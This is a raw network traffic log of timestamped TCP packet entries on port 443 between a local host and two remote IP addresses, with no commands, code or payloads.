Jul 4, 2024 20:16:10.938373089 CEST	49728	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.940645933 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.940679073 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:10.940757036 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.941133976 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:10.941143990 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.537657976 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.543206930 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.543220997 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.698082924 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.698117971 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.698180914 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.698195934 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.698245049 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.698980093 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.698988914 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.699069977 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.699076891 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.699754953 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.699809074 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.699814081 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.699960947 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.787444115 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.787523031 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.787534952 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.788270950 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.788353920 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.788358927 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.788925886 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.788990974 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.788995981 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.790512085 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.790641069 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.790646076 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.833129883 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.876492977 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.876508951 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.876585960 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.876602888 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.876957893 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.877017975 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.877022982 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.877428055 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.877499104 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.877502918 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.878076077 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.878153086 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.878158092 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.878396034 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.878458977 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.878468990 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.879302979 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.879363060 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.879370928 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.880024910 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.880117893 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.880125046 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.880250931 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.880315065 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.880320072 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.926882029 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.965683937 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.965697050 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.965775967 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.965785027 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.965936899 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.965974092 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.965993881 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.966000080 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966021061 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.966290951 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966350079 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.966355085 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966626883 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966685057 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.966701031 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966931105 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.966983080 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.966989040 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.967489004 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.967565060 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.967570066 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.967742920 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.967808962 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.967813969 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.968326092 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.968553066 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.968559027 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.968643904 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.968700886 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.968705893 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969166040 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969230890 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.969235897 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969491005 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969564915 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969569921 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.969574928 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969628096 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.969644070 CEST	443	49731	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:11.969715118 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.970272064 CEST	49731	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:11.982264996 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:11.982306957 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:11.982563972 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:11.983040094 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:11.983048916 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.555011988 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.557164907 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:12.557184935 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.713882923 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.714013100 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.715802908 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:12.715832949 CEST	443	49734	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:12.715863943 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:12.716034889 CEST	49734	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:12.716231108 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:12.716284990 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:12.716818094 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:12.716818094 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:12.716861963 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:13.331207991 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:13.341291904 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:13.341324091 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.124383926 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.124479055 CEST	443	49736	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.124517918 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.124563932 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.127042055 CEST	49736	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.127044916 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.127075911 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.127166986 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.127582073 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.127592087 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.750323057 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.752216101 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.752242088 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.940861940 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.940887928 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.940989971 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.941009045 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.941056967 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.941859961 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.941871881 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.941934109 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.941962004 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.941967010 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:14.941992998 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:14.989404917 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.034228086 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.034240007 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.034347057 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.034357071 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.035751104 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.035897017 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.035902977 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.036540985 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.036645889 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.036652088 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.038086891 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.038356066 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.038361073 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.085259914 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.128135920 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128149033 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128238916 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128246069 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128252983 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.128282070 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128300905 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.128328085 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.128649950 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.128726006 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.128735065 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.129357100 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.129429102 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.129436970 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.130292892 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.130354881 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.130364895 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.130563974 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.130623102 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.130630970 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.131378889 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.131458044 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.131470919 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.132159948 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.132236958 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.132246017 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.177257061 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.221719980 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.221730947 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.221822023 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.221849918 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.221959114 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.222026110 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.222033978 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.222505093 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.222572088 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.222580910 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.222764969 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.222835064 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.222841024 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.223242044 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.223306894 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.223315001 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.223547935 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.223611116 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.223617077 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.223964930 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.224024057 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.224030972 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.224214077 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.224263906 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.224268913 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.224910975 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.224982977 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.224991083 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225120068 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225176096 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.225182056 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225753069 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225836039 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.225841999 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225866079 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225904942 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.225909948 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225940943 CEST	443	49737	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.225984097 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.226552963 CEST	49737	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.253216982 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.253261089 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.257302999 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.257631063 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.257646084 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.841522932 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.843779087 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.843811035 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.971198082 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.971272945 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.971942902 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.971942902 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.971983910 CEST	443	49738	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:15.972039938 CEST	49738	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:15.973335981 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.973383904 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:15.973464966 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.973891973 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:15.973905087 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:16.584280014 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:16.585746050 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:16.585778952 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.291956902 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.292040110 CEST	443	49739	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.292053938 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.292103052 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.298669100 CEST	49739	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.299801111 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.299849033 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.299942970 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.300172091 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.300185919 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.906379938 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:17.908503056 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:17.908526897 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.067503929 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.067538977 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.067629099 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.067646980 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.067701101 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.068681955 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.068691969 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.068737984 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.068775892 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.068785906 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.068866014 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.114450932 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.159349918 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.159364939 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.159491062 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.159526110 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.160095930 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.160161972 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.160171032 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.161164999 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.161242008 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.161251068 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.162573099 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.162643909 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.162651062 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.208244085 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.250653028 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.250668049 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.250719070 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.250726938 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.250823975 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.250858068 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.250873089 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.250912905 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.252146006 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.252180099 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.252218962 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.252227068 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.252249956 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.252273083 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.252998114 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.253057003 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.253062963 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.253896952 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.253963947 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.253972054 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.296200991 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.296286106 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.296314001 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.348926067 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.350075960 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350095034 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350198984 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.350217104 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350229979 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350239038 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350294113 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.350302935 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350492001 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350526094 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350549936 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.350557089 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.350579023 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.351212025 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.351277113 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.351286888 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.351455927 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.351519108 CEST	49740	443	192.168.2.6	13.107.139.11
